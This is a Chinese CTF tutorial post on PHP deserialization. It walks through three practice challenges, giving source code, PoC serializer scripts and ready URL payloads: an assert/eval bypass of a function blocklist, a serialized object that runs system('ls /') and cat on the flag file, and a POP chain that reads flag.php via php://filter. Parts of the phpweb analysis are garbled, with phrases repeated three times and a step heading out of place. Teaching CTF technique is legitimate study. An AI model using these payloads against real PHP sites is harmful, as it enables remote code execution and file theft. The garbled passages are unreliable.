作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)
本专栏CTF基础入门系列打破
以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式
。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~
目前ctf比赛,一般选择php作为首选语言,如读者不了解php的基本语法,请登录相关网站自学下基本语法即可,一般5-7天即可掌握基础。
本文是系列文章,知识点环环相扣,难度依次递增,请首先阅读之前的文章后,再阅读本文效果更加~
- CTF-PHP反序列化漏洞1-基础知识
- phpstudy本地环境搭建图文教程
- CTF-PHP反序列化漏洞2-利用魔法函数
- CTF-PHP反序列化漏洞3-构造POP链
本文目录
- 1. BUU CODE REVIEW 1
- 2. [网鼎杯 2020 朱雀组]phpweb
- 3. [MRCTF2020]Ezpop
本章节继续上一篇文章 CTF-PHP反序列化漏洞3-构造POP链,对POP链精选一些比赛真题,来加深理解~
1. BUU CODE REVIEW 1
题目靶场环境 一个免费的赛题靶场,注册即可使用。
- 题目源码
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
- 题目分析
这是一段 PHP 代码,主要包括一个 BUU 类和一个条件判断。下面我们逐行解释。
highlight_file(__FILE__);
此行代码用于将当前文件以 HTML 格式高亮显示。
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
这段代码定义了一个 BUU 类,其中包含两个属性:correct 和 input。__destruct 方法是 PHP 中的魔术方法,会在对象被销毁时自动调用。此方法中,首先使用 base64_encode() 函数生成一个随机字符串并赋值给 correct 属性。然后判断 correct 和 input 是否相等,如果相等则输出 /flag 文件的内容。需要注意的是,如果在 try 代码块中发生异常,异常将被捕获并不做处理。
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
这段代码包含一个条件判断,如果满足以下三个条件,则会调用 unserialize() 函数:
$_GET[‘pleaseget’] 的值为字符串 ‘1’;
$_POST[‘pleasepost’] 的值为字符串 ‘2’;
$_POST[‘md51’] 和 $_POST[‘md52’] 的 MD5 值相等且两者不相等。
需要注意的是,unserialize() 函数用于将序列化的字符串转换为 PHP 对象或数组。在此处,我们可以通过序列化一个 BUU 对象来触发 __destruct() 方法,从而达到输出 /flag 的目的。
- 解题思路
-
分析源码可知,反序列化后满足相关参数判断后,可返回/flag内容
-
相关参数要求
- GET传参: pleaseget=1
- POST传参: pleasepost=2
- POST传参: md51 !=md52 但是要满足md5(md51) ==md5(md52)
使用数组参数绕过,满足
md51[]=1&md52[]=2
- input值永远等于correct correct是系统随机生成
使用序列化引用R类型绕过比对,
R:序号
下文会讲解 -
POC
<?php
class BUU {
public $correct = "";
public $input = "";
}
$buu = new BUU();
echo serialize($buu);
?>
// 原始输出结果
// O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";s:0:"";}
// 修改后结果 R引用
// O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
知识点:R引用
在 PHP 中,R 代表引用(Reference),它可以让多个变量指向同一个值,从而节省内存空间。
在上面的序列化字符串中,R:2 表示这个变量的值是第二个出现的变量的值的引用。换句话说,这个变量和第二个变量指向同一个值。
下面是一个示例代码,演示如何使用引用:(序列化字符串用R
,代码中用符号&
,请注意)
// 定义一个变量 $a
$a = 10;
// 定义一个变量 $b,让它指向 $a 的值
$b = &$a;
// 修改 $b 的值
$b = 20;
// 输出 $a 和 $b 的值
echo $a; // 输出 20
echo $b; // 输出 20
在上面的代码中,变量 $b 使用了 & 运算符来引用变量 $a 的值,因此当修改 b的值时,b 的值时,b的值时,a 的值也会改变。
2. [网鼎杯 2020 朱雀组]phpweb
题目靶场
这道题目很有意思,有两种解题思路,第一种是命令执行,第二种是反序列化漏洞。都给大家将讲讲~
- 题目
是一个变态网页,大家自行观摩吧,我就不放图了。 - 解题思路
- 因为网页实在变态,不想再看到,所以就通过查看网页原代码,来间接观摩了,果然发现赛题点~
- 同步使用burp工具,查看数据包发现可疑数据包,类似于动态命令执行。
- 尝试构造数据包读取index.php源码,读取成功,发现敏感代码
func=file_get_contents&p=index.php
响应的php代码提取如下
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
代码分析:
这段代码首先定义了一个数组disablefun,里面存储了一些被禁用的函数名。然后定义了一个函数gettime,接收两个参数disable_fun,里面存储了一些被禁用的函数名。然后定义了一个函数gettime,接收两个参数disable fun,里面存储了一些被禁用的函数名。然后定义了一个函数gettime,接收两个参数func和p,使用calluserfunc函数调用p,使用call_user_func函数调用p,使用call user func函数调用func函数并传入参数p,然后判断返回值类型,如果是字符串则返回该字符串,否则返回空字符串。
接着定义了一个类Test,其中有两个属性p和p和p和func,分别存储了时间格式和要调用的函数名。在类的析构函数__destruc中,如果func不为空,则调用gettime函数并传入func不为空,则调用gettime函数并传入func不为空,则调用gettime函数并传入func和p,输出返回值。
最后从REQUEST中获取_REQUEST中获取 REQUEST中获取func和p,如果p,如果p,如果func不为空,则将其转换为小写,并判断是否在$disable_fun数组中,如果不在则调用gettime函数并输出返回值,否则输出"Hacker…"并终止程序。
这段代码的作用是接收用户传入的函数名和参数,调用该函数并输出返回值,但同时禁用了一些危险的函数。但是该代码存在一些安全漏洞。
补充知识点:
这里面要着重讲一下上面出现的危险函数call_user_func
看到这个本能就要想到PHP的动态函数执行漏洞
PHP的动态函数执行漏洞 本系列的其他文章会详细介绍
在 PHP 中,call_user_func() 函数的作用是动态地调用一个函数或者方法。它接受一个或多个参数,第一个参数是要调用的函数或方法的名称,后面的参数则是传递给该函数或方法的参数。
使用call_user_func()函数可以实现动态调用函数或方法,这在某些情况下非常有用。例如,当你需要在运行时确定调用哪个函数或方法时,或者需要根据用户的输入来调用不同的函数或方法时,可以使用该函数。
下面是一个使用call_user_func()函数调用函数的例子:
function testFunction($arg1, $arg2) {
echo "arg1 = $arg1, arg2 = $arg2";
}
call_user_func('testFunction', 'hello', 'world');
输出:
arg1 = hello, arg2 = world
在这个例子中,我们定义了一个testFunction()函数,然后使用call_user_func()函数来调用它,并传递两个参数。函数执行后,输出了两个参数的值。
除了调用普通函数外,call_user_func()函数还可以用来调用类的静态方法和对象的方法。下面是一个使用call_user_func()函数调用类的静态方法的例子:
3. 分析源码发现几乎全部可用函数被过滤和反序列化可利用的魔法函数
class TestClass {
public static function testMethod($arg1, $arg2) {
echo "arg1 = $arg1, arg2 = $arg2";
}
}
call_user_func(array('TestClass', 'testMethod'), 'hello', 'world');
输出:
arg1 = hello, arg2 = world
在这个例子中,我们定义了一个TestClass类,其中有一个静态方法testMethod()。我们使用call_user_func()函数来调用这个静态方法,并传递两个参数。函数执行后,输出了两个参数的值。
总之,call_user_func()函数提供了一种灵活的方式来动态调用函数或方法,使得代码更加可扩展和可重用。
以
扩充知识点讲解完毕,下面再回到解题思路中
看过上面的代码后会有两种解题思路。
方法一:正面绕过过滤函数 func=\assert
记住这种方法即可函数前加\
// 结果通过页面源码查看哦
?func=\assert&p=eval($_GET[1234])&1234=phpinfo();
?func=\assert&p=eval($_GET[1234])&1234=var_dump(scandir("/"));
?func=\assert&p=eval($_GET[1234])&1234=var_dump(scandir("/tmp")); // 获取到文件名flagoefiu4r93
?func=\assert&p=eval($_GET[1234])&1234=readfile("/tmp/flagoefiu4r93"); // highlight_file也可以
方法二:通过反序列化,过滤函数均会失效。
poc构造
<?php
class Test {
var $p = "ls /";
var $func = "system";
}
$test = new Test();
echo serialize($test);
?>
# O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
后续就是不停修改序列化poc就行了,最终获取flag
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
3. [MRCTF2020]Ezpop
靶场地址 [MRCTF2020]Ezpop
● 题目
此题思路类似,上一篇文章的例题。
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
- 解题思路
- pop链
pop->Show#__wakeup()->source->Show# __toString()->str->Test#__get()->p->Modifier#__invoke() // pop是Show的对象,source是Show的对象,str是Test的对象,p是Modifier的对象
- ⽬标是⽤append属性读取flag 就要调⽤invoke函数
- invoke函数调⽤⽅法:调⽤函数的⽅式调⽤⼀个对象时的回应⽅法⽽Test类中的get()⽅法会把变量按函数调⽤也就是当p指定为Modifier的⼀个对象时候会触发所以我们思路转换成get()的触发⽅式
- get()函数 当读取不可访问属性 我们这⾥new ⼀个show对象 把它的属性str传给Test对象 因为并没有这个属性所以会触发str属性出现在toString函数中
- toString的调⽤⽅法 当⼀个对象被当作⼀个字符串使⽤因为序列化会⾃动调⽤wakeup()函数 preg_match 会把正则和字符串匹配 我们new⼀个show对象给source传⼊另⼀个show对象 成功触发
注意的是 var的修饰符为protected 会变为%00这种形式 所以我们输出时候可以加⼀层urlencode
- 构造攻击POC
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$modifier = new Modifier();
$show = new Show();
$test = new Test();
$test->p=$modifier;
$show->source=$show;
$show->str=$test;
$result = serialize($show);
echo urlencode($result);
?>
// 输出结果
// O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D
构造payload
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D
- 结果base64解码
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2Y1MzMzYzNkLTdiOTEtNDQ4Mi04MjhhLWRmOWRhMDUxNWEyZH0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
flag{f5333c3d-7b91-4482-828a-df9da0515a2d}
以上就是pop链相关内容,下一篇文章将会介绍反序列化中另一种考点,
反序列化字符串逃逸